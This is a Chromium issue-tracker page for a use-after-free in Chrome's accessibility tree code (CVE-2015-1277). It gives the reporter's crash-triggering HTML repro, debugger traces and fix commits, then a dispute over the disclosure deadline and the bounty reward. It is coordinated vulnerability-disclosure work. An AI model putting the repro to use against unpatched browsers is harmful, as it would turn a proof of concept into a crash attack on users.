New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.

Issue 479743 link

Starred by 3 users

Issue metadata

Status: Fixed
Owner:
Closed: Jun 2015
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 1
Type: Bug-Security
Nag
Team-Accessibility



Sign in to add a comment

Security: 1503A - Chrome - ui::AXTree::Unserialize UAF

Reported by berendja...@gmail.com, Apr 22 2015

Issue description

1503A - Chrome - ui::AXTree::Unserialize UAF
=====================================

Synopsis
--------
A use-after-free vulnerability can be triggered in Chrome's accessibility
features when they are enabled. It does not look exploitable.

Known affected software and attack vectors
------------------------------------------
  + Chrome 40.0, 41.0

    An attacker would need to get a target user to open a specially crafted
    webpage.

Mitigations
-----------
  + Chrome 40.0, 41.0
    
    Accessibility is disabled by default.

Repro
-----
<html>
  <head>
    <script>
      window.onload = function () {
        setTimeout(function() {
          document.getElementById("style")
              .appendChild(document.createElement("x"));
          document.getElementById("x")
              .appendChild(document.createElement("frame"));
        }, 0);
      };
    </script>
  </head>
  <body>
    <style id="style">
      @import "404";
      body {
        float: left;
      }
    </style>
    <x id="x">
      x
    </x>
  </body>
</html>

Description
-----------
To cause the use-after-free to trigger an access violation in a debugger, it is
required to run Chrome with the "--force-renderer-accessibility" and
"--no-sandbox" command line flags, as well as set the environment variable
"CHROME_ALLOCATOR" to "winheap". Without these settings, the repro should still
trigger the use-after-free but no access violation, as memory will still be
allocated at the address of the freed memory.

WinDbg details of a crash:
(a20.964): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=3db72f70 ebx=00000000 ecx=3db3efe8 edx=00000021 esi=216c6fb8 edi=6025af18
eip=5fb7f090 esp=0091ed84 ebp=0091edf4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
chrome_5e750000!ui::AXTree::Unserialize+0x17b:
5fb7f090 ff701c          push    dword ptr [eax+1Ch]  ds:0023:3db72f8c=????????
0:000> kP 100
ChildEBP RetAddr  
0091edf4 5f5e6916 chrome_5e750000!ui::AXTree::Unserialize(
    struct ui::AXTreeUpdate * update = 0x3d6fef88)+0x17b [c:\b\build\slave\win\build\src\ui\accessibility\ax_tree.cc @ 107]
0091eed0 5f5c7547 chrome_5e750000!content::BrowserAccessibilityManager::OnAccessibilityEvents(
    class std::vector<AccessibilityHostMsg_EventParams,std::allocator<AccessibilityHostMsg_EventParams> > * params = 0x0091f024)+0x45 [c:\b\build\slave\win\build\src\content\browser\accessibility\browser_accessibility_manager.cc @ 189]
0091efd8 5fa6c21c chrome_5e750000!content::RenderFrameHostImpl::OnAccessibilityEvents(
    class std::vector<AccessibilityHostMsg_EventParams,std::allocator<AccessibilityHostMsg_EventParams> > * params = 0x0091f024, 
    int reset_token = <Value unavailable error>)+0xae [c:\b\build\slave\win\build\src\content\browser\frame_host\render_frame_host_impl.cc @ 1234]
0091efe8 5f5c5f95 chrome_5e750000!DispatchToMethodImpl<ExternalProcessImporterClient,void (
    class ExternalProcessImporterClient * obj = 0x28f01f70, 
    <function> * method = 0x5f5c7499, 
    struct Tuple<std::vector<ImporterURLRow,std::allocator<ImporterURLRow> >,int> * arg = 0x0091f024, 
    struct IndexSequence<0,1> __formal = struct IndexSequence<0,1>)+0x1d [c:\b\build\slave\win\build\src\base\tuple.h @ 247]
0091f008 5f5c5c53 chrome_5e750000!DispatchToMethod<content::RenderFrameHostImpl,void (
    class content::RenderFrameHostImpl * obj = 0x28f01f70, 
    <function> * method = 0x5f5c7499, 
    struct Tuple<std::vector<AccessibilityHostMsg_EventParams,std::allocator<AccessibilityHostMsg_EventParams> >,int> * arg = 0x0091f024)+0x1c [c:\b\build\slave\win\build\src\base\tuple.h @ 253]
0091f034 5eaadedc chrome_5e750000!AccessibilityHostMsg_Events::Dispatch<content::RenderFrameHostImpl,content::RenderFrameHostImpl,void,void (
    class IPC::Message * msg = 0x3d734fe0, 
    class content::RenderFrameHostImpl * obj = 0x28f01f70, 
    class content::RenderFrameHostImpl * sender = 0x28f01f70, 
    void * parameter = 0x00000000, 
    <function> * func = 0x5f5c7499)+0x36 [c:\b\build\slave\win\build\src\content\common\accessibility_messages.h @ 192]
0091f238 5eaaa4ef chrome_5e750000!content::RenderFrameHostImpl::OnMessageReceived(
    class IPC::Message * msg = 0x3d734fe0)+0x79d [c:\b\build\slave\win\build\src\content\browser\frame_host\render_frame_host_impl.cc @ 371]
<<<snip>>>
0:000> !heap -p -a @eax
    address 3db72f70 found in
    _DPH_HEAP_ROOT @ 951000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                   3db21f70:         3db72000             2000
    71e69712 verifier!AVrfDebugPageHeapFree+0x000000c2
    77ea1302 ntdll!RtlDebugFreeHeap+0x0000003c
    77e60ce7 ntdll!RtlpFreeHeap+0x000674f7
    77df9428 ntdll!RtlFreeHeap+0x00000478
    5e753069 chrome_5e750000!`anonymous namespace'::win_heap_free+0x00000014 [c:\b\build\slave\win\build\src\base\allocator\allocator_shim_win.cc @ 62]
    5fb7f805 chrome_5e750000!ui::AXNode::`scalar deleting destructor'+0x00000017
    5ea81bef chrome_5e750000!v8::String::ExternalStringResourceBase::Dispose+0x0000000a [c:\b\build\slave\win\build\src\v8\include\v8.h @ 2048]
    5fb7eec8 chrome_5e750000!ui::AXTree::DestroyNodeAndSubtree+0x00000039 [c:\b\build\slave\win\build\src\ui\accessibility\ax_tree.cc @ 212]
    5fb7eec8 chrome_5e750000!ui::AXTree::DestroyNodeAndSubtree+0x00000039 [c:\b\build\slave\win\build\src\ui\accessibility\ax_tree.cc @ 212]
    5fb7ef10 chrome_5e750000!ui::AXTree::DestroySubtree+0x0000001f [c:\b\build\slave\win\build\src\ui\accessibility\ax_tree.cc @ 207]
    5fb7f328 chrome_5e750000!ui::AXTree::UpdateNode+0x0000012e [c:\b\build\slave\win\build\src\ui\accessibility\ax_tree.cc @ 198]
    5fb7f039 chrome_5e750000!ui::AXTree::Unserialize+0x00000124 [c:\b\build\slave\win\build\src\ui\accessibility\ax_tree.cc @ 99]
    5f5e6916 chrome_5e750000!content::BrowserAccessibilityManager::OnAccessibilityEvents+0x00000045 [c:\b\build\slave\win\build\src\content\browser\accessibility\browser_accessibility_manager.cc @ 189]
    5f5c7547 chrome_5e750000!content::RenderFrameHostImpl::OnAccessibilityEvents+0x000000ae [c:\b\build\slave\win\build\src\content\browser\frame_host\render_frame_host_impl.cc @ 1234]
<<<snip>>>
0:000> dv /t /V
@esi              @esi              class ui::AXTree * this = 0x216c6fb8
0091edfc          @ebp+0x0008       struct ui::AXTreeUpdate * update = 0x3d6fef88
0091edb8          @ebp-0x003c       struct ui::AXTreeUpdateState update_state = struct ui::AXTreeUpdateState
0091edb4          @ebp-0x0040       int old_root_id = 0n1
0091edc8          @ebp-0x002c       class ui::AXNode * node = 0x3201bf70
0091ede4          @ebp-0x0010       class std::vector<ui::AXNode *,std::allocator<ui::AXNode *> > children = class std::vector<ui::AXNode *,std::allocator<ui::AXNode *> >
<unavailable>     <unavailable>     int i = <value unavailable>
0091edd0          @ebp-0x0024       unsigned int i = 5
0091edd4          @ebp-0x0020       class std::_Tree_const_iterator<std::_Tree_val<std::_Tree_simple_types<ui::AXNode *> > > iter = class std::_Tree_const_iterator<std::_Tree_val<std::_Tree_simple_types<ui::AXNode *> > >
<unavailable>     <unavailable>     class std::vector<ui::AXTreeDelegate::Change,std::allocator<ui::AXTreeDelegate::Change> > changes = <value unavailable>
<unavailable>     <unavailable>     unsigned int i = <value unavailable>
<unavailable>     <unavailable>     class ui::AXNode * node = <value unavailable>

Relevant source code from https://code.google.com/p/chromium/codesearch#chromium/src/ui/accessibility/ax_tree.cc&sq=package:chromium&l=107

  if (!update_state.pending_nodes.empty()) {
    error_ = "Nodes left pending by the update:";
    for (std::set<AXNode*>::iterator iter = update_state.pending_nodes.begin();
         iter != update_state.pending_nodes.end(); ++iter) {
***   error_ += base::StringPrintf(" %d", (*iter)->id());
    }
    return false;
  }

(Where *** marks the crashing location).

From all this we can determine that the first "ui::AXNode*" in 
"update_state.pending_nodes" points to freed memory. The code also shows that
the "ui::AXTree::Unserialize" function only allows an attacker to copy one
DWORD at offset 0x1C in the freed memory into a string using a printf, which is
not terribly exciting. After this, there does not appear to be a code path that
results in use of the freed memory, meaning this issue is probably not
exploitable.

Notes
-----
I allow vendors 60 days to fix an issue, unless they can provide an adequate
reason for extending this deadline. Failure to meet a deadline without an
adequate explanation will normally result in public disclosure of information
regarding the vulnerability to the general public.

Credit
------
If you can confirm this as a security issue and would like to provide credits
for reporting the issue in your advisory, please credit "SkyLined".

 
repro.html
526 bytes View Download
Project Member

Comment 1 by ClusterFuzz, Apr 22 2015

ClusterFuzz is analyzing your testcase. Chromium developers can follow the progress at https://cluster-fuzz.appspot.com/testcase?key=5466379071782912
Cc: dtseng@chromium.org aboxhall@chromium.org
Owner: dmazz...@chromium.org
Status: Assigned
dmazzoni: Could you please take a look or help find someone else to own this?
Labels: Security_Impact-Stable Security_Severity-Medium M-43
Project Member

Comment 4 by ClusterFuzz, Apr 22 2015

Labels: Pri-1
Project Member

Comment 5 by ClusterFuzz, May 14 2015

Labels: Nag
dmazzoni@: Uh oh! This issue is still open and hasn't been updated in the last 21 days. Since this is a serious security vulnerability, we want to make sure progress is happening. Can you update the bug with current status, and what, if anything, is blocking?

If you are not the right Owner for this bug, please find someone else to own it as soon as possible and remove yourself as Owner.

If the issue is already fixed or you are to unable to reproduce it, please close the bug. (And thanks for fixing the bug!).

These nags can be disabled by adding a 'WIP' label and an optional codereview link.

- Your friendly ClusterFuzz
Cool, I can reproduce this. Here's the message that triggers the error:

[1:1:0519/151354:ERROR:renderer_accessibility.cc(272)] Accessibility event: layoutComplete on node id 9
AXTreeUpdate: clear node 1
id=9 rootWebArea FOCUSABLE READONLY (0, 0)-(698, 380) color=&FF000000 scroll_x=0 scroll_y=0 scroll_x_min=0 scroll_y_min=0 scroll_x_max=0 scroll_y_max=0 value= url=file:///tmp/uaf.html html_tag=#document doc_title= doc_url=file:///tmp/uaf.html doc_mimetype=text/html name= font_size=16 doc_progress=1 doc_loaded=true child_ids=15
  id=15 group READONLY (8, 8)-(682, 18) color=&FF000000 value= name= font_size=16 child_ids=17,19
    id=17 staticText READONLY (8, 8)-(8, 17) color=&FF000000 value=x display=inline name= font_size=16 child_ids=21
      id=21 inlineTextBox (0, 0)-(0, 0) color=&FF000000 value= name= character_offsets= word_starts= word_ends=
id=-1 rootWebArea INVISIBLE (0, 0)-(0, 0) value= name=

Somehow the <frame> is getting serialized as part of the tree update even though it doesn't have a valid AXID or parent.

There are two separate issues that need to be fixed:
1. RendererAccessibility shouldn't generate this AXTreeUpdate, it's invalid
2. AXTree shouldn't have a UAF when it tries to format the error string for this error

Labels: Cr-UI-Accessibility
Still working on this. The underlying issue is that blink is triggering a layout while we're in the middle of building the tree, leading to the number of children of a node being reduced by one while in the middle of serializing its children. That creates the bad AXTreeUpdate, which triggers the error when trying to unserialize it.

I can fix the UAF after unserialization fails, but I don't want to ignore the underlying issue, and that's trickier to fix or work around.

OK, I figured out a good fix:

https://codereview.chromium.org/1144363004

Might I suggest that in the future, the security bug gets fixed first and that separate bugs get created for any underlying non-security issues? That would probably have shortened the time-to-fix to less than one month... :(
Here's the other fix.

https://codereview.chromium.org/1151393006/

Project Member

Comment 12 by bugdroid1@chromium.org, Jun 1 2015

The following revision refers to this bug:
  https://chromium.googlesource.com/chromium/src.git/+/e3b7faf115bcd4fec56b1658e60abe077d77f379

commit e3b7faf115bcd4fec56b1658e60abe077d77f379
Author: dmazzoni <dmazzoni@chromium.org>
Date: Mon Jun 01 17:56:36 2015

An accessibility tree update with two roots should be rejected.

If an AXTreeUpdate had two root nodes, the second one would cause the
first one to be deleted, but that could leave dangling pointers in
|pending_nodes|. Fix this by first ensuring that |pending_nodes| is
always cleaned up when nodse are deleted, but also by specifically
returning an error if we encounter two root nodes since that should
never happen.

BUG= 479743 

Review URL: https://codereview.chromium.org/1151393006

Cr-Commit-Position: refs/heads/master@{#332212}

[modify] http://crrev.com/e3b7faf115bcd4fec56b1658e60abe077d77f379/ui/accessibility/ax_tree.cc
[modify] http://crrev.com/e3b7faf115bcd4fec56b1658e60abe077d77f379/ui/accessibility/ax_tree.h
[modify] http://crrev.com/e3b7faf115bcd4fec56b1658e60abe077d77f379/ui/accessibility/ax_tree_unittest.cc

Project Member

Comment 13 by bugdroid1@chromium.org, Jun 4 2015

The following revision refers to this bug:
  https://chromium.googlesource.com/chromium/src.git/+/8dc07f045c6287da3404fa8e0fd8b1b3960afbfa

commit 8dc07f045c6287da3404fa8e0fd8b1b3960afbfa
Author: dmazzoni <dmazzoni@chromium.org>
Date: Thu Jun 04 00:24:59 2015

When serializing accessibility tree, skip invalid children.

See bug for specific repro in the wild, but essentially we need to check
if the child is valid just before serializing, and not trust the list of
children of a node.

BUG= 479743 

Review URL: https://codereview.chromium.org/1144363004

Cr-Commit-Position: refs/heads/master@{#332748}

[modify] http://crrev.com/8dc07f045c6287da3404fa8e0fd8b1b3960afbfa/ui/accessibility/ax_tree_serializer.h
[modify] http://crrev.com/8dc07f045c6287da3404fa8e0fd8b1b3960afbfa/ui/accessibility/ax_tree_serializer_unittest.cc

Status: Fixed
Labels: Merge-Request-44
Possible merge to 44?

Project Member

Comment 16 by ClusterFuzz, Jun 4 2015

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify
Labels: -M-43 -Merge-Request-44 M-44 Merge-Approved-44
Merge approved for m44 branch 2403.
Labels: OS-All
Project Member

Comment 19 by bugdroid1@chromium.org, Jun 4 2015

Labels: -Merge-Approved-44 merge-merged-2403
The following revision refers to this bug:
  https://chromium.googlesource.com/chromium/src.git/+/f79f5b7c2d4e82a894a94043d6d3c24ac0395610

commit f79f5b7c2d4e82a894a94043d6d3c24ac0395610
Author: Dominic Mazzoni <dmazzoni@chromium.org>
Date: Thu Jun 04 21:24:46 2015

Merge to M44: An accessibility tree update with two roots should be rejected.

If an AXTreeUpdate had two root nodes, the second one would cause the
first one to be deleted, but that could leave dangling pointers in
|pending_nodes|. Fix this by first ensuring that |pending_nodes| is
always cleaned up when nodse are deleted, but also by specifically
returning an error if we encounter two root nodes since that should
never happen.

BUG= 479743 

Review URL: https://codereview.chromium.org/1151393006

Cr-Commit-Position: refs/heads/master@{#332212}
(cherry picked from commit e3b7faf115bcd4fec56b1658e60abe077d77f379)

Review URL: https://codereview.chromium.org/1156503007

Cr-Commit-Position: refs/branch-heads/2403@{#208}
Cr-Branched-From: f54b8097a9c45ed4ad308133d49f05325d6c5070-refs/heads/master@{#330231}

[modify] http://crrev.com/f79f5b7c2d4e82a894a94043d6d3c24ac0395610/ui/accessibility/ax_tree.cc
[modify] http://crrev.com/f79f5b7c2d4e82a894a94043d6d3c24ac0395610/ui/accessibility/ax_tree.h
[modify] http://crrev.com/f79f5b7c2d4e82a894a94043d6d3c24ac0395610/ui/accessibility/ax_tree_unittest.cc

Project Member

Comment 20 by bugdroid1@chromium.org, Jun 4 2015

The following revision refers to this bug:
  https://chromium.googlesource.com/chromium/src.git/+/b20c154668f56ff629ce6e046a99f1bd9d25a2cf

commit b20c154668f56ff629ce6e046a99f1bd9d25a2cf
Author: Dominic Mazzoni <dmazzoni@chromium.org>
Date: Thu Jun 04 21:26:28 2015

Merge to M44: When serializing accessibility tree, skip invalid children.

See bug for specific repro in the wild, but essentially we need to check
if the child is valid just before serializing, and not trust the list of
children of a node.

BUG= 479743 

Review URL: https://codereview.chromium.org/1144363004

Cr-Commit-Position: refs/heads/master@{#332748}
(cherry picked from commit 8dc07f045c6287da3404fa8e0fd8b1b3960afbfa)

Review URL: https://codereview.chromium.org/1161103004

Cr-Commit-Position: refs/branch-heads/2403@{#209}
Cr-Branched-From: f54b8097a9c45ed4ad308133d49f05325d6c5070-refs/heads/master@{#330231}

[modify] http://crrev.com/b20c154668f56ff629ce6e046a99f1bd9d25a2cf/ui/accessibility/ax_tree_serializer.h
[modify] http://crrev.com/b20c154668f56ff629ce6e046a99f1bd9d25a2cf/ui/accessibility/ax_tree_serializer_unittest.cc

Project Member

Comment 21 by bugdroid1@chromium.org, Jun 5 2015

The following revision refers to this bug:
  https://chrome-internal.googlesource.com/bling/chromium.git/+/f79f5b7c2d4e82a894a94043d6d3c24ac0395610

commit f79f5b7c2d4e82a894a94043d6d3c24ac0395610
Author: Dominic Mazzoni <dmazzoni@chromium.org>
Date: Thu Jun 04 21:24:46 2015

Project Member

Comment 22 by bugdroid1@chromium.org, Jun 5 2015

The following revision refers to this bug:
  https://chrome-internal.googlesource.com/bling/chromium.git/+/b20c154668f56ff629ce6e046a99f1bd9d25a2cf

commit b20c154668f56ff629ce6e046a99f1bd9d25a2cf
Author: Dominic Mazzoni <dmazzoni@chromium.org>
Date: Thu Jun 04 21:26:28 2015

Labels: Release-0-M44 reward-topanel
It appears the 60 day deadline has come and gone, but I haven't seen an advisory about this vulnerability in the release blog. This did get patched did it not? If so, Please let me know in which version and what release blog page to link to when I release details. Also: did you assign a CVE number to this?
It will be released along with Chrome 44, which should be coming very soon. I'll assign a CVE to it some time in the next few days. Thanks again for the report, and sorry for the delay here.
I'm sorry to hear that - as I mentioned in my initial report, failure to meet a deadline without an adequate explanation will result in public disclosure of information regarding the vulnerability to the general public. I'll be releasing this on my blog tomorrow.
Labels: CVE-2015-1277
In that case, adding the CVE now.
Thank you. I'm sad to have to do this, but the details are public now:
http://berendjanwever.blogspot.nl/2015/07/1503a-chrome-uiaxtreeunserialize-use.html

Labels: -reward-topanel reward-0
(Not authoritative) but timwillis@ marked this as reward-0 possibly due to https://www.google.com/about/appsecurity/reward-program/ which says:

Q: What happens if I disclose the bug publicly before you had a chance to fix it?

A: Please read our stance on coordinated disclosure. In essence, our pledge to you is to respond promptly and fix bugs in a sensible timeframe - and in exchange, we ask for a reasonable advance notice. Reports that go against this principle will usually not qualify, but we will evaluate them on a case-by-case basis.


/me waves
From the original report: "I allow vendors 60 days to fix an issue, unless they can provide an adequate reason for extending this deadline. Failure to meet a deadline without an adequate explanation will normally result in public disclosure of information regarding the vulnerability to the general public."

From the comments it's obvious that this could and should have been fixed a lot faster. There never was a request to extend the deadline or a valid reason for the delays. I did not go public until 86 days after reporting the issue. I therefore see no reason to disqualify this issue for a reward based on the reason you provided.

Cc: timwillis@chromium.org
+timwillis ^
Labels: -reward-0 reward-topanel
Hey SkyLined,

TBH I missed your deadline comment in your original report. Regardless, you're right - we took too long to fix this bug and you provided a reasonable deadline for this bug. We'll take it to the next reward panel.

To give some more context and explain the length of time it took to fix this, I agree that this particular case took too long (and I know you of all people know that we're usually pretty speedy with fixes). This was mostly due a gap in our process that your report highlighted (i.e. reports from @chromium.org accounts are considered "internal" and therefore not flagged for reward review, unless the "reward-topanel" label is manually added or the @chromium.org account was on a shortlist of known external reporters). That's on me, and I'll be making changes to our processes so that we can catch this type of thing in the future.

Any other questions, feel free to follow up here or email me at timwillis@.
Project Member

Comment 34 by ClusterFuzz, Sep 10 2015

Labels: -Restrict-View-SecurityNotify
Bulk update: removing view restriction from closed bugs.
#35 - FYI, this report is on the reward panel review list for this week.
Labels: -reward-topanel reward-0
We took this report through the reward panel (context in #33). That said, the panel determined that this bug did not meet the threshold for reward, as the issue does not appear to be exploitable and we couldn't see a practical attack scenario.

Happy to revisit if you feel like a practical attack/exploitation scenario is present here. That said, thanks again for your report!
Project Member

Comment 37 by sheriffbot@chromium.org, Oct 1 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 38 by sheriffbot@chromium.org, Oct 2 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: allpublic
Labels: CVE_description-submitted

Sign in to add a comment